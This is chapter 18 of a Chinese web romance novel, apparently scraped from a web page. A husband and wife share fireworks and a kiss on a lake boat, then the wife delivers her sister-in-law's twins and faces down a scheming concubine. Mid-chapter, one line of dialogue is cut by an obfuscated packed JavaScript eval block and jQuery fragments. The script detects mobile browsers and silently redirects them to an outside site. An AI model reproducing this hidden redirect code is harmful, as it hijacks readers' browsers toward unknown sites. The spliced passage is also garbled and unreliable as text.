18. 乞巧

作品:《嫁给废柴夫君后

    小船死角都放着顾清安改良过的冰盒子,微微冒着凉气,再加上湖风一吹,别提多凉快。


    顾清安大度地原谅费依依的诬陷,倒了一杯茶,青花瓷的茶杯里盛满了青色的茶汤。


    “娘子尝尝,这是你最爱的茯茶,里面加了柠檬和蜂蜜,清爽酸甜还解暑。这个是流心绿豆糕,也是你爱吃的。”顾清安介绍着说:“还有最最重要的...西瓜!”


    悠悠小船在湖心慢慢地盘旋,左右轻晃着,费依依认真地品尝顾清安给她准备的每一样吃食。


    费依依淡淡地笑着,“顾清安,我发现,你好像很了解我。知道我爱喝什么茶,吃什么糕点水果。这些我从未对你说过,你是怎么知道的?”


    “有心之人,不必多言。”


    “可我好像不了解你,不知道你爱吃什么,喝什么,用什么,对你完全...与旁人一样的印象。”


    “娘子,你不是不了解,你只是...忘了而已。”


    费依依眨着眼,似乎不明白顾清安说的是什么意思,只当他是在认真地敷衍她。


    听了顾老太太说顾清安并不是顾家人,她一时间不知是该哭还是笑,可不知顾清安知不知道这件事。


    想着费依依看向眼前莫名高兴的顾清安,夜色勾勒着他深邃轮廓,压抑不住向上扬的嘴角,整个人热烈又真挚。


    她从未往这方面想过,看顾清安身上与顾家人完全不同的气质,也能看出他确实不是顾家人。


    正想着,不知船什么时候停了,一束烟花如离弦之箭,冲向夜空,划破黑暗,绽放开来。


    费依依侧头向上看去,正好映入眼帘的是五彩斑斓绚丽的烟花,每一片花瓣都闪烁着灵动的光芒,像是被赋予了生命,在夏中轻轻摇曳。


    费依依回头看向顾清安,彩色忽明忽暗的花火,映照着他得意洋洋的神情,她瞬间明白这场烟花是顾清安安排的。


    顾清安从怀里拿出早就准备好的琉璃发簪,起身弯腰为她簪上,在这暗夜里比这发簪熠熠生光的,还有顾清安的这双眼睛、


    耳边喧嚣着烟花绽放声和欢呼尖叫声,费依依又听到了自己如雷般鼓点的心跳,她鬼使神差地微微抬头,在他唇间轻轻啄了一下,冰凉与温热触碰的瞬间,她一个激灵地收回来,跌坐回去,反倒是顾清安倒有些片刻的不知所措。


    费依依:“咳...”


    顾清安食指轻点了下自己的唇心,仿佛是在回味,又像是在做梦,他用试探的目光看向费依依,在确定这一切都是真的后,嘴角扬起化不开的笑意。


    这是他家娘子第一次主动亲她。


    顾清安想着抓过她的手,冲自己的方向一顿,将她拉过来,他霸道毫不留情地回敬这个吻。


    两人中间隔着吗木桌,费依依害怕把上面东西碰撒,只能在前进后退之间进退两难,勉强地稳住身体,顾清安似乎注意到了这个困境,到了她这边,费依依一下子跌到了他怀里,湖风带来了清凉的茉莉香。


    自始至终费依依都没觉得这茉莉香难闻,反而越来越沉溺其中。


    费依依轻喘着气,顾清安可不给她喘息的空间,一个吻又重重地落下来,磕破了她的唇。


    “大娘子!大娘子!不好了。”


    船堪堪地停靠岸,聚集过来的人越来越多,费依依试着推开顾清安却无济于事,急得她直接踩了他一脚,这才与他拉开距离。


    “怎么了?出什么事了?”


    费依依认得春心带着来的是大嫂身旁的贴身女使珠兰。


    她慌乱地弄两下头发,脸上微微脸红,任谁一眼都能看出两人在船上做了什么。


    不知是不是费依依的错觉,总觉得看人来人往都在窃窃私语。


    “是顾大娘子,她快要临盆了,找不到稳婆。”


    “什么?顾大公子呢?”


    “我家姑爷喜宴散了便去应酬差事了,刚走不久大娘子便见红了。”


    费依依踩着摇摇晃晃的船,“我去看看。”


    “哎,娘子,我跟你一起去。”


    “别别,你去,你去找大哥。”


    -


    平庆园。


    在一阵又一阵烟火盛开声中,费依依加快了脚步,一进院子就见那十几个小妾排排站在主母房门前。


    为首的那个粉罗裙董氏明知故问:“哎,你是谁啊?”


    “让开。”费依依不打算跟她废话,房间内灯火通明,婆子们端着一盆又一盆的血水送房间里出来,已经听不见大嫂的声音。


    “凭什么让你进啊?”


    费依依抬手一个响亮的巴掌扇在她脸上,那人白嫩小脸顿时起了肿了起来,“轮不着你在这跟我说话,耽误了我大嫂生孩子,你们一个个都吃不了兜着走,滚开。”


    费依依不由分说地推开拦着她的人,进入屋里,迎面闻到一股浓烈的血腥味,大嫂虚弱地躺在床上,浑身全是虚冷汗,整个人恹恹地没有力气,双眼布满了红血丝。


    “没有稳婆,我来接生,春心把无关人全都请出去。”费依依看向吓得出了眼泪的珠兰,“我能信你吗?”


    “嗯嗯,我自小跟姑娘一同长大的。”


    “好,春心珠兰你们两个协助我,其他人都请出去。”


    “是。”


    费依依上前去为大嫂把脉,随即拿出银针,又稳又准地扎进穴位,这才吊起了些精神气。


    “大嫂,你放心,我定会抱你们母子安然无恙。”费依依抬手吩咐道:“珠兰,去弄碗人参汤来,切记要你亲自做。”


    “是,四娘子。”


    “春心,你帮我把大娘子扶起来,来。大嫂...”


    费依依为大嫂按摩穴位,调整胎位,细心安慰,“大嫂,再用力一些。”


    珠兰端着人参汤,“四娘子,人参汤来了!”


    “喂你们大娘子服下,来大嫂,用力。”


    费依依双手沾满了血,额头上浸出两滴汗水,其实胎里不足加上胎位不正,孩子在腹中缺氧,她也没有十足的把握能让大人孩子都平安,所以使出了浑身解数。


    “珠兰!再去添一些热水,来干净的布巾。”费依依几乎声嘶力竭地喊着,“春心,你去看看,顾清安怎么还没回来!”


    -


    顾清安在刑部门前来回踱步,每次遇到棘手事又碰上该死的官制,他才恨自己没有一官半职行不通事而感到后悔,终于看到他大哥疾步快行地出来,他一下子把大哥推上马车。


    “快点吧,大嫂要生了。”顾清安絮絮叨叨地讽刺道:“什么事啊那么棘手,弟弟大婚,媳妇生子都还要来当差啊?”


    “好好好。”顾清平一时间忙得晕头转向,上马车时差点踩空,还好顾清安扶住了他。


    “大哥,你也别太担心,我娘子去为大嫂接生了。”嘴上安慰着别人不要担心,顾清安心里也着急,“佟武,快点回平庆园啊。”


    “好嘞~”


    当兄弟两个到达平庆园之时,被打的那个妾室看到顾清平,哭天抢地地跑过来被顾清安推到一边,“你认


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538958|153745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    错人了,大姐。”


    “哎呦~原来是四叔子,天太黑,眼太花,没看清。”妾室扭动着腰肢儿,见顾清安目不斜视,根本不把她放在眼里,随后捂住脸,去向顾清平告状:“夫君!你看看着是顾四娘子把我打的。”


    顾清安听到是自己娘子打的,不由得挑眉看向她,看着肿得老高打得不轻,不禁回想起所谓捉奸那日。


    这一比他娘子还是很爱他的,跟这打外人一比,简直是小巫见大巫啊。


    “她还说轮不着我说话,让我们一个个都吃不了兜着走,让我们滚开~”说着说着她就哭了起来。


    顾清平担心自己妻子,本来心里烦躁得不行,旁边还来个哭唧唧的人,一个箭步冲到门口,警告人别靠近他。


    顾清安饶有兴致地问:“那她为何打你?凡事总有个由头,我娘子那样温婉贤惠之人,不会无缘无故地打你啊。”


    “这...”


    “定是你先招惹她了。”顾清安一本正经地摩挲着下巴。


    这妾室还以为顾清安是个浪荡之人,自己能招惹一番,见没有机会后,又跑去烦顾清平。


    顾清安揶揄道:“啧,一看就是侯夫人精挑细选的妾室。”


    烟花声停止,小院获得片刻宁静,随之而来的是婴儿啼哭。


    费依依跑出来:“生了!生了!是男孩!大哥是男孩,两个男孩!”


    整个院子里的小妾全都表情扭曲。


    顾清平惊喜地得差点落泪,“我能去看看娘子吗?”


    费依依点点头,越过人群看着顾清安向她走来,拿出手帕轻轻擦拭她手心的血迹,又抬手为了理了理额前凌乱的碎发。


    “娘子,真厉害。”


    费依依虽有些力竭虚脱,可看向董氏又来了力气,她知道像这样人惯用的手段就是恶人先告状。


    “你,整个元京百家医馆,刑部侍郎夫人生子,却一个稳婆寻不到?”


    董氏捂着脸,没想到费依依还能想着这茬,心虚道:“怎么了?今日乞巧节,在加上丞相千金大婚喜上加喜。都去看热闹了,找不到稳婆怎么了?”


    “哦?真的?我没记错的话喜宴已经结束,难不成满元京的稳婆全都去过乞巧节了?”费依依不依不饶上前走了两步,吓得董氏连连后退,“你这样拙劣的伎俩,骗得了谁?”


    “谋害官眷子嗣按照我朝律法,流放或者杖刑...”


    “这是平庆园,不是你们安庆园,你在这说了不算!夫君!”


    费依依把扑上来的董氏推下去,“别打扰我大哥大嫂了,你们一个个自从进了这院子,有几人真正侍奉过主君?怎么?还想主君顾念什么情分吗?见主母良善便肆无忌惮地欺负,是谁教你们的规矩?莫非是把你们送进这院子之人吗?”


    “你!好啊,费依依,你竟敢非议侯夫人?我现在就要把你告到侯夫人那去。”


    “我说了是侯夫人吗?这话可是你自己说的,既然是侯夫人的人,那在这院子里行事更要小心谨慎才好。侯夫人最是注重门楣家风,若是谋害子嗣之事闹到官府,让侯府成了官眷茶余饭后的谈资耻笑,看侯夫人还会不会护着你。”


    “再者说,侍郎夫人所生到底是侯府血脉,你觉得凭你一个妾室,侯夫人会站在你这边吗?”费依依说完用食指点了点太阳穴,气得董氏鼻斜眼歪。


    顾清安在一旁助长士气:“娘子真是伶牙俐齿。”


    珠兰急匆匆地跑出来:“不好了!四娘子你快来看看,小公子喘不上来气了。”